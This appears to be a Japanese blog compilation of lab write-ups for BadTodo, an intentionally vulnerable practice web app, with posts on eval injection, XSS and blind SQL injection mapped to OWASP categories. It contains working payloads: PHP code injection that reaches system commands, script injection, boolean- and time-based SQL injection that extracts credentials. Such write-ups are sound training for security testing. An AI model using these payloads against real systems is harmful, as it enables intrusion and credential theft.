やられアプリ(やられサイト)BadTodo 脆弱性のまとめ

脆弱性診断実習用アプリ BadTodo 関連投稿へのリンク一覧です。
BadTodo - 1 準備
BadTodo - 2 ZAPでのスキャン
BadTodo - 3.1 SQLインジェクション 認証の回避
BadTodo - 3.2 SQLインジェクション 非公開情報の漏洩
BadTodo - 3.3 SQLインジェクション DB情報の取得
BadTodo - 3.4 SQLインジェクション ID/パスワードの取得
BadTodo - 3.5 SQLインジェクション 情報の改ざん・追加・削除
BadTodo - 3.6 SQLインジェクション MariaDBのパスワード取得
BadTodo - 3.7 SQLインジェクション idパラメータに対して
BadTodo - 3.8 SQLインジェクション sqlmapを使う
BadTodo - 3.9 SQLインジェクション 対策方法
BadTodo - 3.10 ブラインドSQLインジェクション (Boolean-Based) 練習
BadTodo - 4.1 XSS(クロスサイト・スクリプティング)
BadTodo - 4.1.1 XSS 対策方法(HttpOnly属性の付与)
BadTodo - 4.2 XSS ログイン画面で
BadTodo - 4.3 XSS ID毎のTodo一覧画面
BadTodo - 4.4 XSS Todoの削除画面
BadTodo - 4.5 XSS マイページ
BadTodo - 4.6 XSS パスワード変更ページ
BadTodo - 4.7 XSS Todo詳細ページ
BadTodo - 4.8 XSS 対策方法(エスケープ処理)
BadTodo - 4.9 DOM Based XSS
BadTodo - 4.10 XSS URL属性値に対して
BadTodo - 5 オープンリダイレクト
BadTodo - 6 ディレクトリトラバーサル
BadTodo - 7 リモート・ファイルインクルード(RFI)
BadTodo - 8.1 OS コマンド・インジェクション(リモートコード実行。CVE-2012-1823)
BadTodo - 8.2 OS コマンド・インジェクション(内部でシェルを呼び出す関数)
BadTodo - 9 Server Side Code Injection - PHP Code Injection
BadTodo - 10.1 CSRF(クロスサイト・リクエスト・フォージェリ)
BadTodo - 10.5 CSRF(対策)
BadTodo - 10.6 CSRF対策トークンの不備
BadTodo - 10.7 XSSによるCSRF対策の突破
BadTodo - 11 HTTP ヘッダ・インジェクション
BadTodo - 12 メールヘッダ・インジェクション
BadTodo - 13 クリックジャッキング
BadTodo - 14 セッション管理の不備
BadTodo - 15 アクセス制御や認可制御の欠落
BadTodo - 16 バッファオーバーフロー
BadTodo - 17 認証(パスワードの強度・ログアウト)
BadTodo - 18 クローラへの耐性
BadTodo - 19 ディレクトリ・リスティング
BadTodo - 20 A4:2017 - XML外部エンティティ参照 (XXE)
BadTodo - 21 A10:2021 - サーバーサイドリクエストフォージェリ(SSRF)
BadTodo - 22 A8:2017 - 安全でないデシリアライゼーション
BadTodo - 23 evalインジェクション
BadTodo - 24 適切でないアップロートファイル制限
BadTodo - 25.1 NULLバイト攻撃(+ファイルインクルード)
BadTodo - 25.2 NULLバイト攻撃(+SQLインジェクション)
BadTodo - 25.3 NULLバイト攻撃(+XSS)
BadTodo - 26 TOCTOU競合
BadTodo - 27 レースコンディション
BadTodo - 28 キャッシュからの情報漏洩

BadTodoは以下の脆弱性を網羅しています

IPA 安全なウェブサイトの作り方 第7版より
1.1 SQLインジェクション
1.2 OSコマンド・インジェクション
1.3 パス名パラメータの未チェック/ディレクトリ・トラバーサル
1.4 セッション管理の不備
1.5 クロスサイト・スクリプティング
1.6 CSRF(クロスサイト・リクエスト・フォージェリ)
1.7 HTTPヘッダ・インジェクション
1.8 メールヘッダ・インジェクション
1.9 クリックジャッキング
1.10 バッファオーバーフロー
1.11 アクセス制御や認可制御の欠落

ウェブ健康診断仕様より
(安全なウェブサイトの作り方との重複点をグレーアウト)
1 (A) SQL インジェクション
2 (B) クロスサイト・スクリプティング
3 (C) CSRF(クロスサイト・リクエスト・フォージェリ)
4 (D) OS コマンド・インジェクション
5 (E) ディレクトリ・リスティング
6 (F) メールヘッダ・インジェクション
7 (G) パス名パラメータの未チェック/ディレクトリ・トラバーサル
8 (H) 意図しないリダイレクト(オープンリダイレクト)
9 (I) HTTP ヘッダ・インジェクション
10 (J) 認証
11 (K) セッション管理の不備
12 (L) 認可制御の不備、欠落
13 (M) クローラへの耐性

OWASP Top 10 2017(重複をグレーアウト)
A1:2017 - インジェクション(A03:2021- インジェクション)
 BadTodo - 3 SQLインジェクション
 BadTodo - 8 OS コマンド・インジェクション
 BadTodo - 9 Server Side Code Injection
A2:2017 - 認証の不備(A07:2021-識別と認証の失敗)
 BadTodo - 17 認証(パスワードの強度・ログアウト)
(パスワードをデータストアに保存する際に、プレーンテキストのままで保存している)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
(セッション識別子がURLの一部として露出してしまっている)
(ログイン後にセッション識別子を使いまわしている)
(セッションIDを正しく無効化していない)
 BadTodo - 14 セッション管理の不備
A3:2017 - 機微な情報の露出
 BadTodo - 17 認証(パスワードの強度・ログアウト)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
A4:2017 - XML 外部エンティティ参照(XXE) (A05:2021-セキュリティの設定ミス)
 BadTodo - 20 XML外部エンティティ参照 (XXE)
A5:2017 - アクセス制御の不備(A01:2021-アクセス制御の不備)
 BadTodo - 15 アクセス制御や認可制御の欠落
 BadTodo - 10 CSRF(クロスサイト・リクエスト・フォージェリ)
 BadTodo - 19 ディレクトリ・リスティング
A6:2017 - 不適切なセキュリティ設定(A05:2021-セキュリティの設定ミス)
 BadTodo - 19 ディレクトリ・リスティング
(詳細なエラーメッセージの表示)
 BadTodo - 3 SQLインジェクション
 BadTodo - 6 ディレクトリトラバーサル
A7:2017 - クロスサイトスクリプティング (XSS)
 BadTodo - 4 XSS(クロスサイト・スクリプティング)
A8:2017 - 安全でないデシリアライゼーション(A08:2021-ソフトウェアとデータの整合性の不具合)
 BadTodo - 22 A8:2017 - 安全でないデシリアライゼーション
A9:2017 - 既知の脆弱性のあるコンポーネントの使用(A06:2021-脆弱で古くなったコンポーネント)
(ソフトウェアが脆弱な場合やサポートがない場合、また使用期限が切れている場合)
 BadTodo - 8.1 OS コマンド・インジェクション(リモートコード実行。CVE-2012-1823)
A10:2017 - 不十分なロギングとモニタリング(A09:2021-セキュリティログとモニタリングの失敗)
(ログと監視が不十分で、組織が知らないうちに攻撃者に脆弱性を突かれること)(ロギングとモニタリングに関しては、ブラックボックスでの診断は難しく、ソースコード診断になるかと思います。badtodo/docs/vulnerabilities.md at main · ockeghem/badtodo · GitHub

OWASP Top 10 2021
A01:2021-アクセス制御の不備
 BadTodo - 15 アクセス制御や認可制御の欠落
 BadTodo - 10 CSRF(クロスサイト・リクエスト・フォージェリ)
 BadTodo - 19 ディレクトリ・リスティング
A02:2021-暗号化の失敗
 BadTodo - 17 認証(パスワードの強度・ログアウト)
 (SSL(TLS)の設定)
 (HSTS)
 (パスワードの平文保存)
A03:2021-インジェクション
 BadTodo - 4 XSS(クロスサイト・スクリプティング)
 BadTodo - 3 SQLインジェクション
 BadTodo - 8 OS コマンド・インジェクション
 BadTodo - 9 Server Side Code Injection
A04:2021-安全が確認されない不安な設計
 BadTodo - 18 クローラへの耐性
(CWE-256 パスワードなどのアカウント情報が平文のまま格納されている問題)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
(CWE-434 適切でないアップロートファイル制限)
 BadTodo - 23 適切でないアップロートファイル制限 CWE-434
(CWE-598 GETリクエストのクエリ文字列からの情報漏洩)
 BadTodo - 14 セッション管理の不備
A05:2021-セキュリティの設定ミス
 A4:2017 - XML 外部エンティティ参照 (XXE)
 BadTodo - 19 ディレクトリ・リスティング
(詳細なエラーメッセージの表示)
 BadTodo - 3 SQLインジェクション
 BadTodo - 6 ディレクトリトラバーサル
(クッキーへの機密情報の保存)
 BadTodo - 15 アクセス制御や認可制御の欠落
(クッキーのセキュア属性不備)
 BadTodo - 14 セッション管理の不備
(HttpOnly属性不備)
 BadTodo - 4.1.1 XSS 対策方法(HttpOnly属性の付与)
(セキュリティヘッダの不備)
A06:2021-脆弱で古くなったコンポーネント
(ソフトウェアが脆弱な場合やサポートがない場合、また使用期限が切れている場合)
 8.1 OS コマンド・インジェクション(リモートコード実行。CVE-2012-1823)
A07:2021-識別と認証の失敗
 BadTodo - 17 認証(パスワードの強度・ログアウト)
(パスワードをデータストアに保存する際に、プレーンテキストのままで保存している)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
(セッション識別子がURLの一部として露出してしまっている)
(ログイン後にセッション識別子を使いまわしている)
(セッションIDを正しく無効化していない)
 BadTodo - 14 セッション管理の不備
A08:2021-ソフトウェアとデータの整合性の不具合
 安全でないデシリアライゼーション
 BadTodo - 22 A8:2017 - 安全でないデシリアライゼーション
A09:2021-セキュリティログとモニタリングの失敗
(ログと監視が不十分で、組織が知らないうちに攻撃者に脆弱性を突かれること)(ロギングとモニタリングに関しては、ブラックボックスでの診断は難しく、ソースコード診断になるかと思います。badtodo/docs/vulnerabilities.md at main · ockeghem/badtodo · GitHub
 (ログからの情報漏洩)
A10:2021-サーバーサイドリクエストフォージェリ(SSRF)
 BadTodo - 21 サーバーサイドリクエストフォージェリ(SSRF)

BadTodo は
安全なWebアプリケーションの作り方 第2版
にも対応しています。各脆弱性への対応策もまだ記述できていませんので作成を続けていきます。

やられアプリ BadTodo - 23 evalインジェクション

前回:やられアプリ BadTodo - 22 A8:2017 - 安全でないデシリアライゼーション - demandosigno

幾つかのプログラミング言語は eval(イーバル)という機能や関数を持っています。
eval には複数のコードを解釈し実行する機能がありますが、evalの利用法に問題がある場合、外部から送り込んだスクリプトを実行される危険があります。
(PHPの場合『注意: これは、関数ではなく 言語構造のため、可変関数や名前付き引数を用いてコールすることはできません』とのことです。) PHP: eval - Manual

まずBadTodoでの例を示します。

一覧ページからエクスポートボタンをクリックすることでTodoをエクスポートすることができます。

その時に次のリクエストが流れます。
GET https://todo.example.jp/exportdo.php?query=array%20%28%0A%20%20%27sql%27%20%3D%3E%20%27todos.id%20IN%20%28%3Aid_0%29%27%2C%0A%20%20%27keys%27%20%3D%3E%20%0A%20%20array%20%28%0A%20%20%20%20%27%3Aid_0%27%20%3D%3E%20%272%27%2C%0A%20%20%29%2C%0A%29

BurpのDecoderで「URLデコード」をかけるとデータベースクエリに関する配列であることがわかります。この配列そのものに問題はありません。

次に; phpinfo()という文字列を「URLエンコード」したもの%3b%20%70%68%70%69%6e%66%6f%28%29を先ほどのGETリクエストの後ろにくっつけます。
そうするとhttps://todo.example.jp/exportdo.php?query=array%20%28%0A%20%20%27sql%27%20%3D%3E%20%27todos.id%20IN%20%28%3Aid_0%29%27%2C%0A%20%20%27keys%27%20%3D%3E%20%0A%20%20array%20%28%0A%20%20%20%20%27%3Aid_0%27%20%3D%3E%20%272%27%2C%0A%20%20%29%2C%0A%29%3b%20%70%68%70%69%6e%66%6f%28%29となります。 このアドレスをブラウザで見てみると phpinfo が閲覧できてしまいます。(ログインは不要です)

PHPのコード phpinfo() が実行できたわけです。そのため; system("cat /etc/hosts")のようにしてOSコマンドの実行も可能になります。(PHP 開始タグを含めてはいけません) %3b%20%73%79%73%74%65%6d%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29をくっつけてhttps://todo.example.jp/exportdo.php?query=array%20%28%0A%20%20%27sql%27%20%3D%3E%20%27todos.id%20IN%20%28%3Aid_0%29%27%2C%0A%20%20%27keys%27%20%3D%3E%20%0A%20%20array%20%28%0A%20%20%20%20%27%3Aid_0%27%20%3D%3E%20%272%27%2C%0A%20%20%29%2C%0A%29%3b%20%73%79%73%74%65%6d%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29

入力値に問題があるため他のエラーも吐いています。

evalインジェクションはソースコードが確認できないと見つけるのが難しい脆弱性ですが、今回の場合はパラメータに誤った文字列を入れればエラー文内に eval() と出ますのでヒントになりそうです。

徳丸本 第2版 p343では evalインジェクションの例としてBase64エンコードのパターンが掲載されています。詳細な説明とシンプルな例で分かりやすいので一読を。

最近でも「日本医師会のサイトにて、eval()を使っていたため JavaScriptのコードが実行できた」という例がありました。
togetter.com

その他の影響例として、
・サイト改ざん
・他サイトへの踏み台
などがあります。

対策

・eval に相当する機能を使わない
今回の例であれば
・implod/explode
・json_encode/json_decode
などで、eval相当の機能を使わなくても同等の処理が実装可能です。

色々記述が不足しているので後日追記予定。

次回:やられアプリ BadTodo - 24 適切でないアップロートファイル制限 - demandosigno

やられアプリ BadTodo - 4.7 XSS Todo詳細ページ

前回:やられアプリ BadTodo - 4.6 XSS パスワード変更ページ - demandosigno

Todoの題名をクリックすると開くTodoの詳細画面のリクエスト
https://todo.example.jp/todo.php?rnd=6639eec0ed1b2&item=2の item パラメータにXSSがあります。

itemに'><script>alert(1)</script>を付加。
https://todo.example.jp/todo.php?rnd=6639eec0ed1b2&item=2%27%3E%3Cscript%3Ealert(1)%3C/script%3E

レスポンス内、「添付ファイル」の「削除ボタンフォーム」位置に出力されます。

そのため添付ファイルの無いTodoでは機能しません。

次回:やられアプリ BadTodo - 4.7 XSS 対策方法(エスケープ処理) - demandosigno

やられアプリ BadTodo - 3.10 ブラインドSQLインジェクション (Boolean-Based) 練習

前回:やられアプリ BadTodo - 3.9 SQLインジェクション 対策方法 - demandosigno

これまでのSQLインジェクションは、UNION SELECT 演算子を使って既に存在する表に追記させたり、SLQエラー文の出力を利用して情報を得たりしました。
しかし、結果を出力する場所がなかったり、エラーメッセージが表示される場合でもカスタムされたエラーページでテンプレート文が表示されるだけの場合は使えません。

そこで第3の方法としてブラインドSQLインジェクションがあります。ブラインドSQLインジェクションには Boolean-BasedTime-Based がありますが、まずは Boolean-Based SQLインジェクションについて。
SQL文の問い合わせに対する回答が「真か偽か」の2択を確認することで結果を推測していく方法です。

練習

BadTodoで実際に試す前に、DBにログインし直接データベースの中身を確認しながら流れを理解していくことにします。

badtodo-dbコンテナの端末を開き、MariaDBにログインします。

root@badtodo-db:/# mysql -u root -pwasbook
Welcome to the MariaDB monitor.  Commands end with ; or \g.

ユーザーに関する一通りのデータを見てみます。

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| todo               |
+--------------------+
 
MariaDB [(none)]> use todo
Database changed
 
MariaDB [todo]> show tables;
+----------------+
| Tables_in_todo |
+----------------+
| session        |
| todos          |
| users          |
+----------------+
 
MariaDB [todo]> select * from users;
+----+---------+--------+--------------------+--------------------------+-------+
| id | userid  | pwd    | email              | icon                     | super |
+----+---------+--------+--------------------+--------------------------+-------+
|  1 | admin   | passwd | root@example.jp    | ockeghem.png             |     1 |
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png             |     0 |
+----+---------+--------+--------------------+--------------------------+-------+

単純なWHERE文を書いてみる(視認性を上げるため予約語は大文字にしました)

SELECT * FROM users WHERE userid = 'wasbook';
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

少し条件を加えます

SELECT * FROM users WHERE userid='wasbook' AND 1 = 1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

付け加えた1 = 1TRUE ですから結果変わらず表示されます。
これ以降のすべての例は、この部分が TRUE になるか? FALSE になるか?という観点で見ていきます。

では続けて、サブクエリ(副問い合わせ)(SELECT文で表示した結果を別の SELECT文で使う)がサポートされているか確認します。
MySQL :: MySQL 8.0 リファレンスマニュアル :: 13.2.11 サブクエリー

SELECT * FROM users WHERE userid='wasbook' AND (SELECT 1) = 1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

サポートされていました。
userid='wasbook' は触れないため TRUE
(これをANDで繋ぎ、検索結果が表示されたということは(SELECT 1) = 1部分も TRUE
(つまり(SELECT 1)が有効)

それでは次に、hoge というテーブルが存在すると推測してSQL文を作ってみます。

SELECT * FROM users WHERE userid='wasbook' AND (SELECT 1 FROM hoge LIMIT 0,1) = 1;
(hoge テーブルから先頭 1行を取り出す)
 
ERROR 1146 (42S02): Table 'todo.hoge' doesn't exist

エラー「Table 'todo.hoge' doesn't exist」。つまり hoge テーブルはありません。

ではテーブル名を users と推測してみます。

SELECT * FROM users WHERE userid='wasbook' AND (SELECT 1 FROM users LIMIT 0,1) = 1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

結果が返って来たということは(SELECT 1 FROM users LIMIT 0,1) = 1部分がTRUEです。これにより users テーブルが存在することが判明します。

続けて、カラム名を推測します。
まず password というカラム名が存在すると仮定して

SELECT * FROM users WHERE userid='wasbook' AND (SELECT SUBSTRING(CONCAT(1, password), 1 ,1) FROM users LIMIT 0,1) = 1;
(users テーブルから、定数 1 に user の名前を連結した文字列の 1 文字目から 1 つ取り出す)
( = 先頭文字が 1 )(1 = 1TRUE)(カラム名 password が存在しない場合 NULLFALSE)
 
ERROR 1054 (42S22): Unknown column 'password' in 'field list'

エラーです。

ではカラム名 pwd で試してみます。

SELECT * FROM users WHERE userid='wasbook' AND (SELECT SUBSTRING(CONCAT(1, pwd), 1 ,1) FROM users LIMIT 0,1) = 1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

pwd というカラムが存在することが分かります。

次に userid というカラム名を試します。

SELECT * FROM users WHERE userid='wasbook' AND (SELECT SUBSTRING(CONCAT(1, userid), 1, 1) FROM users LIMIT 0,1) = 1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

userid カラムも存在する。
つまり、users テーブルに、pwd, userid カラムが存在することが分かります。

そろそろぱっと見ではよくわからなくなってきますが、クエリを分解したものを後述しますので参考にしてください。

探索

とはいえ文字列を当てることは難しいです。ですので探す方法があります。

users テーブルの中の userid カラムに存在するユーザー名の探索を行ってみます。

SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 109;

 1. FROM users LIMIT 0,1 ⇒ users テーブルの先頭1レコード分から)
 2. SELECT CONCAT(userid, 0x3a, pwd) ⇒ userid と pwd を 0x3a=: で区切って連結する  
 3. SUBSTRING(str, pos, len) ⇒ 位置 pos で始まる文字列 str からの部分文字列 len 文字長を返す  
 4. ASCII(str) > 109 ⇒ ASCIIコードが 109(小文字の m) より大きい場合 "真" とする  

Empty set (0.000 sec)

結果表が返されないため(偽)、ユーザー名の第1文字はASCIIコードの 109(これは m)以下の値であることが分かる。

ASCIIコード(10進数)におけるアルファベットの範囲は次の通り。
・小文字の 'a' から 'z' までの範囲: 97 から 122
・大文字の 'A' から 'Z' までの範囲: 65 から 90
97-122 の中央値は (97+122)/2 = 109(端数切捨)
(プログラム上では"最小置 + (最大置 - 最小置) / 2"とした方が安全)

次は109以下であるから同様に (97 + 109) / 2 = 103

SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 103;
Empty set (0.000 sec)
偽 char(103) は「g」のため
例:SELECT char(103);
+-----------+
| char(103) |
+-----------+
| g         |
+-----------+
SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 100;
Empty set (0.000 sec)
偽 char(100) は「d」

と、基本的には二分探索で探していく(ある程度絞れたら線形探索に)

SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 96;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+
真 char(96) は「`」

最終的に

SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 97;
Empty set (0.000 sec)
偽 char(97)は「a」

よって、1文字目は「a」。ちなみに実データは "admin"。

SELECT userid, pwd FROM users;
+-----------+--------+
| userid    | pwd    |
+-----------+--------+
| admin     | passwd |
| wasbook   | wasboo |
+-----------+--------+

同様に、2文字目以降を探っていく

SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),2,1)) > 99;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+
真 char(99) は「c」
SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),2,1)) > 100;
Empty set (0.000 sec)
偽 char(100) は「d」

よって、2文字目は「d」。 同様に、3、4、5文字目と解いていくと「a」「d」「m」「i」「n」6文字目で CONCAT で付けた「: コロン 16進 0x3a 10進58」 となるので終了。

(後日)実際にBadTodoの方で試します。
(後日)手動で全部行うのは無理があるため、スクリプトを作ったりBurpのIntruderを使ったりします。
(後日)Time-Based ブライドSQLインジェクション

Boolean-Based ブラインドSQLインジェクションは基本的にWHERE句に対して使います(SELECT, UPDATE, DELETE)。
WHERE句ではない場合(INSERT INTO)、時間遅延(sleep()など)を使った Time-Based ブラインドSQLインジェクションが試せる場合があります。

ブラインドSQLインジェクションのスクリプトをPHPで書いたよ #phpadvent2012 | 徳丸浩の日記
Time-based SQL Injectionは意外に実用的だった | 徳丸浩の日記

BadTodoでは各リクエストの Cookie: TODOSESSID にSQLインジェクションがありそうです。
'付加で 500 Internal Server Error となりますが「致命的エラー:セッション管理でエラー発生」という一文のみ出力されます。 Cookie値に' (select*from(select(sleep(5)))a)を付加しCookie: TODOSESSID=9c1428bae485da4704b0a28725dfe282'%2b(select*from(select(sleep(5)))a)#などとすることで5秒の遅延が発生します。

補足

MySQL :: MySQL 8.0 リファレンスマニュアル :: 12.8 文字列関数および演算子
CONCAT(str1,str2,...)
引数を連結することで生成される文字列を返します。1 つ以上の引数を持つ場合があります。すべての引数が非バイナリ文字列の場合は、結果も非バイナリ文字列になります。
引数にバイナリ文字列が含まれる場合は、結果はバイナリ文字列になります。数値の引数は、同等の非バイナリ文字列形式に変換されます。
引数のいずれかかが NULL である場合、CONCAT() は NULL を返します。

MySQL :: MySQL 8.0 リファレンスマニュアル :: 12.8 文字列関数および演算子
SUBSTRING(str,pos), SUBSTRING(str FROM pos), SUBSTRING(str,pos,len), SUBSTRING(str FROM pos FOR len)
len 引数を付けない形式では、位置 pos で始まる文字列 str からの部分文字列が返されます。
len 引数を付けた形式では、位置 pos で始まる文字列 str からの部分文字列 len 文字長が返されます。
FROM を使用する形式は、標準の SQL 構文です。 また、pos に負の値を使用することもできます。 その場合、部分文字列の先頭は文字列の先頭でなく、文字列の末尾からの pos 文字になります。 この関数のどの形式でも、pos で負の値を使用できます。pos の値が 0 の場合、空の文字列が返されます。
 
すべての形式の SUBSTRING() で、部分文字列の抽出が開始される文字列内の最初の文字の位置が 1 とみなされます。

mysql> SELECT SUBSTRING('Quadratically',5);
        -> 'ratically'
mysql> SELECT SUBSTRING('foobarbar' FROM 4);
        -> 'barbar'
mysql> SELECT SUBSTRING('Quadratically',5,6);
        -> 'ratica'
mysql> SELECT SUBSTRING('Sakila', -3);
        -> 'ila'
mysql> SELECT SUBSTRING('Sakila', -5, 3);
        -> 'aki'
mysql> SELECT SUBSTRING('Sakila' FROM -4 FOR 2);
        -> 'ki'
この関数はマルチバイトセーフです。len が 1 よりも小さい場合は、結果が空の文字列になります。

ASCII(str)
文字列 str の左端の文字の数値(ASCIIコード)を返します。str が空の文字列である場合は、0 を返します。str が NULL である場合は NULL を返します。ASCII() は、8 ビット文字の場合に動作します。

mysql> SELECT ASCII('2');
        -> 50
mysql> SELECT ASCII(2);
        -> 50
mysql> SELECT ASCII('dx');
        -> 100
ORD() 関数も参照してください。

ASCII - Wikipedia

これより下は私自身の確認のために色々試してみた結果をメモしているだけなのでざっと流して次の項目に進んでください。
やられアプリ BadTodo - 4.1 XSS(クロスサイト・スクリプティング) - demandosigno

補足2。クエリの例

MariaDB [todo]> SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 109;
 1. FROM users LIMIT 0,1 ⇒ users テーブルの先頭1レコード分から)
 2. SELECT CONCAT(userid, 0x3a, pwd) ⇒ userid と pwd を 0x3a=: で区切って連結する  
 3. SUBSTRING(str, pos, len) ⇒ 位置 pos で始まる文字列 str からの部分文字列 len 文字長を返す  
 4. ASCII(str) > 109 ⇒ ASCIIコードが 109(小文字の m) より大きい場合 "真" とする  
について色々試す。
 
>, < ではなく = で比較(文字列"admin:passwd"1文字目が "a"=ASCII(97)か)
SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) = 97;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

ASCIIではなく文字として比較
SELECT * FROM users WHERE userid = 'wasbook' AND SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)='a';
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+ 
 
CONCAT, LIMITを除いた場合
SELECT * FROM users WHERE userid = 'wasbook' AND SUBSTRING((SELECT pwd FROM users WHERE userid = 'wasbook'),1,1)='w';
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+
 
CONCATの動作確認
SELECT CONCAT(userid, 0x3a, pwd) FROM users;
+---------------------------+
| CONCAT(userid, 0x3a, pwd) |
+---------------------------+
| admin:passwd              |
| wasbook:wasboo            |
+---------------------------+
LIMITの動作確認(1レコード目(0)から1件取得(1))
SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1;
+---------------------------+
| CONCAT(userid, 0x3a, pwd) |
+---------------------------+
| admin:passwd              |
+---------------------------+
 
SUBSTRINGの動作確認(文字列"admin:passwd"の2文字目から3文字分の文字列を返す)
SELECT SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),2,3);
+------------------------------------------------------------------------+
| SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),2,3) |
+------------------------------------------------------------------------+
| dmi                                                                    |
+------------------------------------------------------------------------+

ASCIIの動作確認("admin:passwd"の1文字目="a"のASCIIコードを返す)
SELECT ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1));
+-------------------------------------------------------------------------------+
| ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) |
+-------------------------------------------------------------------------------+
|                                                                            97 |
+-------------------------------------------------------------------------------+
SELECT ASCII('a');
+------------+
| ASCII('a') |
+------------+
|         97 |
+------------+
 
真偽値。TRUE(1) or FALSE(0)
SELECT ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) = 97;
+----------------------------------------------------------------------------------+
| ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1))=97 |
+----------------------------------------------------------------------------------+
|                                                                                1 |
+----------------------------------------------------------------------------------+

補足3。SELECT 1 とは

Oracle SELECT(*)とSELECT(1)の違いについて | プログラミング勉強備忘録
COUNT文の構文でCOUNT(1)は、カラムの1番目を取得して件数を取得する記述方法と思っていました。
ですのでNULL値を含まない件数が取得できると思っていましたが違うようです。
1は定数を指定しているので必ずNULL以外になります。
1を指定した場合のCOUNT(expr)は、式が常に1になるため、レコード数が常にカウントされます。
ですので結論COUNT(*)と同じ件数が取得できます。

SELECT 1;
+---+
| 1 |
+---+
| 1 |
+---+
SELECT * FROM users;
+----+-----------+--------+--------------------+--------------------------+-------+
| id | userid    | pwd    | email              | icon                     | super |
+----+-----------+--------+--------------------+--------------------------+-------+
|  1 | admin     | passwd | root@example.jp    | ockeghem.png             |     1 |
|  2 | wasbook   | wasboo | wasbook@example.jp | elephant.png             |     0 |
+----+-----------+--------+--------------------+--------------------------+-------+
SELECT 1 FROM users;
+---+
| 1 |
+---+
| 1 |
| 1 |
+---+
SELECT count(*) FROM users;
+----------+
